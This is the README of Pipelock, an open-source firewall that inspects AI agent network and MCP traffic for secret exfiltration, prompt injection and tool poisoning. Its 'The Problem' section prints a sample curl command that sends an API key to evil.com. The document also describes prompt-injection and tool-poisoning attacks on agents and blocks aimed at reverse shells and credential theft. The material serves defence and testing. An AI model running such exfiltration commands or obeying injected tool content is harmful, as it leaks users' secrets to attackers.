luckypipewrench/pipelock

Pipelock

Open-source AI agent firewall for Verifiable Egress Control.

Pipelock sits between AI agents and the network. It inspects mediated HTTP, WebSocket, MCP, and A2A traffic, plus CONNECT tunnel contents when TLS interception is enabled, for secret exfiltration, prompt injection, SSRF, tool poisoning, and risky tool-call chains. Plain CONNECT without interception is scanned at the hostname and URL level.

Pipelock emits mediator-signed action receipts over content-aware boundary decisions, so a reviewer can verify what Pipelock decided outside the agent runtime. The public agent-egress-bench corpus exercises the detections. Learn more: Open-source AI firewall.

Works with: Claude Code · OpenAI Codex · Cline · OpenCode · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph

Problem · Verify · Quick Start · Action · Catches · Features · Architecture · Docs · Playground · Blog · Ask Dosu

Try it in your browser at the live playground. If Pipelock earns it, star the repo so other people find it.

---

The Problem

Your AI agent has $PROVIDER_API_KEY in its environment, plus shell access. One request can leak it:

curl "https://evil.com/steal?key=$PROVIDER_API_KEY"   # game over, unless pipelock is watching

Every machine action your agent takes should cross a boundary between your secrets and the open internet. Pipelock becomes that boundary when the agent is routed through its proxy, MCP wrapper, sandbox, host containment model, or cluster deployment topology. It scans mediated outbound and inbound traffic, blocks or flags attacks based on mode, and records signed evidence of the decision.

---

Verify It Yourself

Most agent-security tools ask you to trust their dashboard. Pipelock hands you a signed receipt and lets you check it yourself, offline, with a key you hold. No account and no server.

The built-in demo fires real attack scenarios, blocks them, and writes signed receipts plus the public key to disk with no config and no network:

pipelock demo --receipts-dir ./out                                   # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub  # check a signature yourself (each receipt is .json)

The scorecard grades each claim on its own and states what it does not prove: whether anything happened outside the boundary Pipelock mediates. Below it, the receipt timeline lists every mediated decision with its verdict and hash link. A receipt that is honest about its own limits beats a green checkmark that hides them.

The evidence viewer is free and needs no license:

pipelock evidence serve --receipt-dir ./out   # read-only HTML report for one recorded session
pipelock evidence view --receipt-dir ./out    # static offline report, no server

Two honesty notes, stated up front. The demo signs with an ephemeral key it prints for the run, which proves the receipts are self-consistent rather than tied to a named identity. The public Pipelock playground is a separate path that verifies against a key Pipelock publishes. And the operator running Pipelock holds the signing key, so a receipt proves what the boundary decided and that the key holder signed it, not that the operator is honest. pipelock anchor receipts records receipt-chain checkpoints to a local backend or a Rekor transparency log for later audit, and operator-independent verification against that anchor is still being proven end to end.

The full argument for why proof beats promises is in demonstration over attestation.

---

Quick Start

# Install from source (Go 1.25+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest

# Set up local agent integrations and generate a config
pipelock init

# Test the scanner
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE"  # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/"                # allowed

---

See It In Action

The Pro/Enterprise operator dashboard (pipelock dashboard serve) is a read-only console over signed evidence. It supports token, OIDC, or mTLS authentication; bounded RBAC permissions; redacted metadata views; raw-view elevation; exemption lifecycle records; backup and restore; coverage certificates; and fleet views. It is present in enterprise-tagged builds and release artifacts with the required license feature.

The free single-session evidence viewer shown above is separate. It needs no license and has no cross-agent enumeration.

---

What It Catches

Pipelock runs in three modes:

For agents running uncensored or abliterated models, the hostile-model preset layers defenses on strict mode: aggressive entropy thresholds, blanket network-tool blocking, session binding, cross-request exfiltration detection, and a pre-configured kill switch. pipelock audit recommends this preset when it detects known guardrail-removal toolchains through dependency signals.

Honest assessment: Strict mode blocks outbound HTTP that traverses Pipelock except allowlisted API domains, so there is no exfiltration channel through the proxy itself. Balanced mode raises the bar from “one curl command” to “sophisticated pre-planned attack.” Audit mode gives you visibility you don’t have today. With the sandbox enabled (pipelock sandbox) or the host/cluster containment topology enforced, Pipelock adds an OS or deployment boundary on top of content inspection. Direct egress still has to be blocked by that boundary for non-cooperative tools that ignore proxy settings.

Comparison

Reference matrix: docs/comparison.md

Canonical comparison hub: AI runtime security comparison

---

What It Does

Pipelock is an AI egress proxy and MCP security control. It sits inline between your AI agent and the network, scans outbound and inbound traffic, and emits signed receipts plus mediation metadata for attestation outside the agent runtime. AARP/SVID workload-identity appraisal is verifier-side today: the proxy and MCP runtimes do not consume SVID evidence in live allow/deny decisions or bind receipt actor identity from an X.509-SVID.

Detection And Scanning

• 11-layer URL scanner: scheme validation, CRLF injection detection, path traversal blocking, domain blocklist, DLP pattern matching, path entropy analysis, subdomain entropy analysis, SSRF protection with DNS-rebinding prevention, per-domain rate limiting, URL length limits, and per-domain data budgets. DLP runs before DNS resolution, so secrets are caught before a DNS query leaves the proxy. See docs/bypass-resistance.md.
• DLP: 65 built-in patterns for API keys, tokens, credentials, cryptocurrency keys, environment secrets, and financial identifiers with checksum validation. BIP-39 seed phrase detection uses dictionary lookup, sliding windows, and SHA-256 checksum validation.
• Response scanning: 32 built-in prompt-injection and state/control poisoning patterns, plus 6-pass normalization for zero-width characters, homoglyphs, leetspeak, optional whitespace, vowel folding, base64, and hex. Actions are block, strip, warn, or ask.
• Streaming SSE: text/event-stream responses from LLM gateways and MCP HTTP/SSE flow token by token with per-event and rolling cross-event DLP and injection scanning. A detection terminates the stream fail-closed. See SSE streaming guide.
• Request body scanning: headers and bodies are scanned before they leave the protected path across JSON, form data, raw text, reverse proxy requests, TLS-intercepted CONNECT traffic, and outbound WebSocket client frames.
• Request redaction: optional JSON rewriting replaces matched secret values with typed placeholders such as `` across HTTP, WebSocket, and MCP tools/call arguments. Receipts record the active profile and per-class counts instead of plaintext secrets.
• Address protection: ETH, BTC, SOL, and BNB address validation catches lookalike destination swaps using prefix/suffix fingerprinting and an operator allowlist.
• Every block explains itself: pipelock explain (also explain event and explain mcp) prints the scanner, layer, matching rule, inspected surface, and the exact narrowest config knob to fix a false positive. An un-fixable false positive is why teams rip a scanner out; this is the answer. See docs/cli/explain.md.
• Canary tokens: pipelock canary generates honeytoken config. A synthetic secret showing up in outbound traffic proves an agent or something in its chain is exfiltrating environment variables. See canary tokens.
• Skill-file scanning: pipelock skill-scan inventories agent skill files, compares them to an operator-owned lock file, and flags source-to-sink combinations such as credential-to-network-sink or shell-to-write with line evidence before anything runs. See docs/cli/skill-scan.md.

MCP Security

Pipelock wraps MCP servers with bidirectional scanning:

# Wrap a local MCP server over stdio
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp

# Bridge a stdio client to a remote Streamable HTTP server
pipelock mcp proxy --upstream http://localhost:8080/mcp

# Run the HTTP proxy and an MCP HTTP listener together
pipelock run --config pipelock.yaml --mcp-listen 127.0.0.1:8889 --mcp-upstream http://localhost:3000/mcp

• Input scanning: MCP client requests are checked for DLP leaks and injection in tool arguments.
• Response scanning: server responses are scanned before the agent sees them.
• Tool poisoning: tools/list descriptions are checked for hidden instructions and mid-session rug-pull changes.
• Tool policy: 17 built-in rules block destructive file deletes, credential access, reverse shells, persistence mechanisms, encoded command execution, and related high-risk tool calls before execution.
• Tool call chains: 10 built-in category-axis patterns detect reconnaissance, credential theft, data staging, persistence, exfiltration, and callback chains with configurable gap tolerance.
• A2A inspection: Google Agent-to-Agent protocol traffic is inspected on the forward and MCP paths; Pipelock is not a standalone A2A proxy.
• Authenticated MCP HTTP listeners (v3.2.0): non-loopback MCP listeners fail closed by default and require --mcp-auth-token-file, or an explicit --mcp-allow-unauthenticated for network-policy-isolated deployments. Tokenless loopback listeners reject DNS-rebound and wrong-port Host authorities and scrub listener credentials from headers.

Containment

Unprivileged process containment uses OS-native primitives. Linux uses Landlock, seccomp, and network namespaces. macOS uses sandbox-exec profiles. In containers, --best-effort keeps Landlock and seccomp when namespace creation is restricted, while network scanning uses proxy-based routing.

pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort -- python agent.py
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server

Host containment goes further on Linux:

pipelock contain install
pipelock contain verify
pipelock contain run -- claude-code

pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh manages a 3-UID operator / proxy / agent model with nftables owner-match routing, systemd service setup, wrapper commands, workspace ACLs, CA refresh, and posture evidence. See docs/contain-cli.md.

Evidence And Receipts

• Flight recorder: hash-chained JSONL evidence log with Ed25519-signed checkpoints and DLP redaction. pipelock init provisions a recorder directory and signing key for stock installs, while the recorder stays inert until a directory and key exist. See Flight Recorder.
• Action receipts: signed records of each mediated action, verdict, policy hash, transport, and scanner layer. Verify with pipelock verify-receipt --key . Unpinned runs are structural-only and exit non-zero unless --allow-unpinned is passed.
• Mediation envelope: RFC 8941 sideband metadata on forwarded HTTP requests and MCP _meta, with action type, verdict, actor identity, policy hash, taint context, and receipt correlation ID. See federation guide.
• Receipt conformance: five independent verifier implementations (Go, TypeScript, Rust, Python, wasm) reject the same malformed and forgeable inputs, including duplicate keys, integer overflow, and unpaired surrogates, against one shared conformance corpus. A parser differential is a skeptic’s first move against an offline verifier, so all five fail closed on it. AARP/SVID appraisal remains an offline verifier profile, not runtime identity enforcement.
• Anchors: pipelock anchor receipts records receipt-chain checkpoints to a local backend or Rekor. Rekor anchoring is proof material for later audit; Rekor verification requires pinned log keys and the end-to-end operator-independence path is still being proven.
• Posture capsule: pipelock posture emit and pipelock posture verify produce and check a signed snapshot of a deployment’s enforcement posture, with a CI gate and scoring model, so a reviewer can confirm the boundary was configured the way it claims.

Fleet And Enterprise

• Operator dashboard: pipelock dashboard serve is a read-only console over signed evidence. Pro unlocks the Overview, Evidence, Exemptions, Agents, Budgets, and Trust & Keys views; Enterprise adds the Fleet, Workbench, and Incident views. See docs/cli/dashboard.md.
• Free evidence viewer: pipelock evidence serve and pipelock evidence view render one selected recorder session without a license or cross-agent enumeration. pipelock evidence verify-cert verifies Pro-issued coverage certificates offline.
• Conductor: Enterprise fleet control plane for signed policy-bundle distribution, signed evidence sink (pipelock fleet-sink), enrollment, remote kill, rollback, dry-run, decision replay, and runtime/apply-state drift preflight over mTLS/SPIFFE. Followers enforce locally and stay fail-closed; Conductor holds no agent secrets. See the Conductor guide.
• Legal hold: pipelock dashboard legal-hold add/list/release manages preservation holds as compliance metadata kept outside the dashboard’s HTTP authority, so a compromised dashboard can read holds but never forge or delete them.
• Behavioral baseline: profile-then-lock for MCP tool behavior with pipelock baseline list/show/ratify/forget for operator approval and relearning. See docs/cli/baseline.md.

Operability

• Kill switch: six independent activation sources: config file, remote API, SIGUSR1, sentinel file, Conductor remote kill, and stale-bundle detection. Any one active source blocks traffic, with endpoint and IP exemptions in the controller.
• Scan API: programmatic scanning for url, dlp, prompt_injection, and tool_call verdicts with bearer token auth, per-token rate limiting, structured findings, and Prometheus metrics. See docs/scan-api.md.
• Filesystem sentinel: watches agent working directories for secrets written to disk and attributes writes to the MCP subprocess lineage on Linux. See docs/guides/filesystem-sentinel.md.
• Event emission: forwards audit events to SIEMs, webhook receivers, syslog, CEF, OTLP, and metrics outputs without blocking the proxy hot path. See docs/guides/siem-integration.md.
• Security assessment: pipelock assess init, pipelock assess run, and pipelock assess finalize orchestrate attack simulation, config scoring, install verification, and MCP discovery into a reproducible evidence bundle. Critical exposures such as unprotected MCP servers cap the grade regardless of numeric score. The free summary shows your grade, section scores, and top findings; a license unlocks the full report with server-specific findings, remediation commands, and Ed25519-signed evidence.

---

Free, Pro, and Enterprise

All detection, enforcement, containment, and single-agent evidence is free forever under Apache 2.0. Paid tiers add multi-agent coordination (Pro) and fleet governance plus compliance (Enterprise).

The signed pipelock assess report is a separate assess entitlement, independent of Pro and Enterprise. The free assess grade is unchanged.

---

How It Works

Pipelock uses capability separation: in an enforced deployment, the agent process has secrets but no direct network access. Pipelock has network access but no agent secrets. Even if the agent gets prompt-injected, it can’t reach the firewall’s controls.

Three HTTP proxy modes (same port), plus a dedicated MCP proxy and A2A inspection on the forward and MCP paths:

• Fetch proxy (/fetch?url=...): Fetches the URL, extracts text, scans for injection, returns clean content.
• Forward proxy (HTTPS_PROXY): Standard HTTP CONNECT tunneling. Zero code changes. Optional TLS interception for full payload scanning.
• WebSocket proxy (/ws?url=ws://...): Bidirectional frame scanning with DLP + injection detection.
• MCP proxy (pipelock mcp proxy): Wraps stdio or HTTP MCP servers with bidirectional scanning.
• A2A inspection: Inspects Google Agent-to-Agent protocol traffic as it crosses the forward and MCP paths.

---

Configuration

Generate a config from a built-in preset, or let pipelock audit tailor one to your project:

pipelock presets
pipelock generate config --list
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml

Config changes are picked up through file watcher or SIGHUP. Full reference: docs/configuration.md

For false positive tuning: docs/false-positive-tuning.md

---

Integration Guides

• Claude Code: MCP proxy setup, .claude.json configuration
• OpenAI Codex: MCP proxy wrapping, forward proxy, sandbox integration
• Cline: MCP proxy wrapping for Cline’s mcp.json
• OpenCode: MCP proxy wrapping for OpenCode’s local and remote MCP servers
• Zed: MCP proxy wrapping for Zed’s context_servers block in settings.json
• OpenAI Agents SDK: MCPServerStdio, multi-agent handoffs
• Google ADK: McpToolset, StdioConnectionParams
• AutoGen: StdioServerParams, mcp_server_tools()
• CrewAI: MCPServerStdio wrapping, MCPServerAdapter
• LangGraph: MultiServerMCPClient, StateGraph
• Hermes: full-plugin coverage or lighter MCP-only wrapping for Nous Research’s agent, with auth-header sidecar preservation
• JetBrains/Junie: MCP proxy wrapping for IntelliJ, PyCharm, GoLand (walkthrough)
• Cursor: pipelock cursor install registers Pipelock as a Cursor hook for shell execution, MCP tool calls, and file reads; use --config to embed a validated policy path and pipelock cursor remove to remove Pipelock-managed hooks. You can also use configs/cursor.yaml with the same MCP proxy pattern as Claude Code (walkthrough)
• VS Code: pipelock vscode install rewrites .vscode/mcp.json to route every MCP server through the MCP proxy; --global targets the user-level mcp.json
• OpenClaw: gateway sidecar, init container, config wrapping
• Any other MCP client: pipelock generate mcporter reads any JSON file with a top-level mcpServers object and wraps every server through Pipelock’s proxy, so a client that is not on the list above still routes through scanning in one command.

---

Deployment

# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
  ghcr.io/luckypipewrench/pipelock:latest \
  run --config /config/pipelock.yaml --listen 0.0.0.0:8888

# Network-isolated agent with Docker Compose
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up

# Kubernetes with Helm
helm install pipelock charts/pipelock/

Production recipes for Docker Compose, Kubernetes sidecar + NetworkPolicy, iptables/nftables, and macOS PF: docs/guides/deployment-recipes.md

---

CI Integration

# .github/workflows/pipelock.yaml
- uses: luckyPipewrench/pipelock@v2
  with:
    scan-diff: 'true'
    fail-on-findings: 'true'

The action downloads a pre-built binary, runs pipelock audit, scans the PR diff for leaked secrets, and uploads the audit report as a workflow artifact. See examples/ci-workflow.yaml for a complete workflow.

Runnable Demo: Tool-Response Injection

The examples/tool-response-injection/ harness runs an end-to-end demo where an MCP tool with a harmless name and description hides a prompt-injection payload in its response. Pipelock blocks the response before it reaches the agent and emits signed action receipts that a third party can verify. The same demo runs against three transports with one shared signing key:

• MCP stdio
• MCP HTTP upstream
• HTTP fetch

cd examples/tool-response-injection
python3 demo.py    # needs python3 + cryptography + pipelock on PATH

---

Community Rules

Pipelock’s built-in DLP, injection, and tool-poison detection is strong out of the box. Community rule bundles let you go further: add your own patterns for the exfiltration shapes, secret formats, and injection tricks your stack sees, sign them, and ship them on a cadence you control instead of waiting for a release.

Install the official bundle in one line:

pipelock rules install pipelock-community

Rule bundles are signed and version-locked. The full lifecycle is a shipped command, not a config edit:

pipelock rules list                    # what is installed
pipelock rules diff pipelock-community # what a new version would change
pipelock rules update pipelock-community
pipelock rules verify                  # confirm signatures against the trusted keyring
pipelock rules remove pipelock-community

Write your own. A rule is a small YAML entry with a name, a category (DLP, injection, or tool-poison), and a pattern. Sign it with your key, drop it in a bundle, and every Pipelock instance you run picks it up. Share it with the community and it protects everyone else too.

Contribute a rule to the public pipelock-rules bundle, or read docs/rules.md to build and sign your own.

---

Docs

Full docs directory: docs/

---

Project Structure

cmd/pipelock/          CLI entry point
internal/
  cli/                 60+ Cobra commands (run, check, init, generate, mcp, session, posture, rules, ...)
    diag/              `pipelock doctor` and install-verification diagnostics
    session/           `pipelock session`, `pipelock adaptive`, and `pipelock baseline` operator CLIs
    setup/             `pipelock init sidecar`: companion-proxy manifest generation (K8s)
  config/              YAML config, validation, defaults, hot-reload (fsnotify)
  scanner/             11-layer URL scanning pipeline + response injection detection
  audit/               Structured JSON logging (zerolog) + event emission dispatch
  proxy/               HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
  mcp/                 MCP proxy + bidirectional scanning + tool poisoning + chains
    integrity/         MCP binary/script integrity manifests and trust workflow
  discover/            IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
  killswitch/          Emergency deny-all (6 sources) + port-isolated API
  envelope/            Mediation envelope (RFC 8941) for sideband metadata
  media/               Image metadata stripping (JPEG/PNG byte-level surgery)
  normalize/           Text-normalization transforms (NFKC, invisible chars, leetspeak, whitespace, vowel-fold) for the scanner cascade
  receipt/             Action receipt signing + hash-chained evidence
  posture/             Posture capsule schema, signing, scoring, verify policy
  session/             Session state, taint classification, task boundaries, trust overrides
  rules/               Bundle loader, tier taxonomy, RequiredFeatures enforcement
  sandbox/             Landlock, seccomp, netns, macOS sandbox-exec
  shield/              Airlock, browser shield, SVG hardening
  signing/             Ed25519 key management
  integrity/           SHA256 file integrity monitoring
  report/              HTML/JSON audit report generation
enterprise/            Multi-agent features (ELv2)
sdk/conformance/       Cross-implementation receipt verification test vectors
charts/                Helm chart for Kubernetes deployment
configs/               7 built-in preset config files
docs/                  Guides, references, compliance mappings

---

Testing

Pipelock is tested like a security product. The open-source core has unit, integration, and end-to-end tests. A separate private adversarial suite exercises attack classes against the production binary. Every bypass graduates into a regression test before release.

Run make test to verify locally. Independent benchmark: the public agent-egress-bench corpus. See the live results.

---

Credits

• Architecture influenced by Anthropic’s Claude Code sandboxing and sandbox-runtime
• Threat model informed by OWASP Agentic AI Top 10
• See docs/comparison.md for how Pipelock relates to other tools in this space
• Security review contributions from Dylan Corrales

Contributions welcome. See CONTRIBUTING.md for guidelines.

If Pipelock is useful, please star this repository. It helps others find the project.

---

License

Pipelock core is licensed under the Apache License 2.0. Copyright 2026 Joshua Waldrep.

Multi-agent features (per-agent identity, budgets, and configuration isolation) are in the enterprise/ directory, gated by the enterprise build tag and licensed under the Elastic License 2.0 (ELv2). These features activate with a valid license key.

The open-source core works independently without paid features. All scanning, detection, and single-agent protection is free.

Pre-built release artifacts (Homebrew, GitHub releases, Docker images) include paid-tier code that activates with a valid license key. Building from source with go install or the repository Dockerfile produces a Community-only binary.

See LICENSE for the Apache 2.0 text and enterprise/LICENSE for the ELv2 text.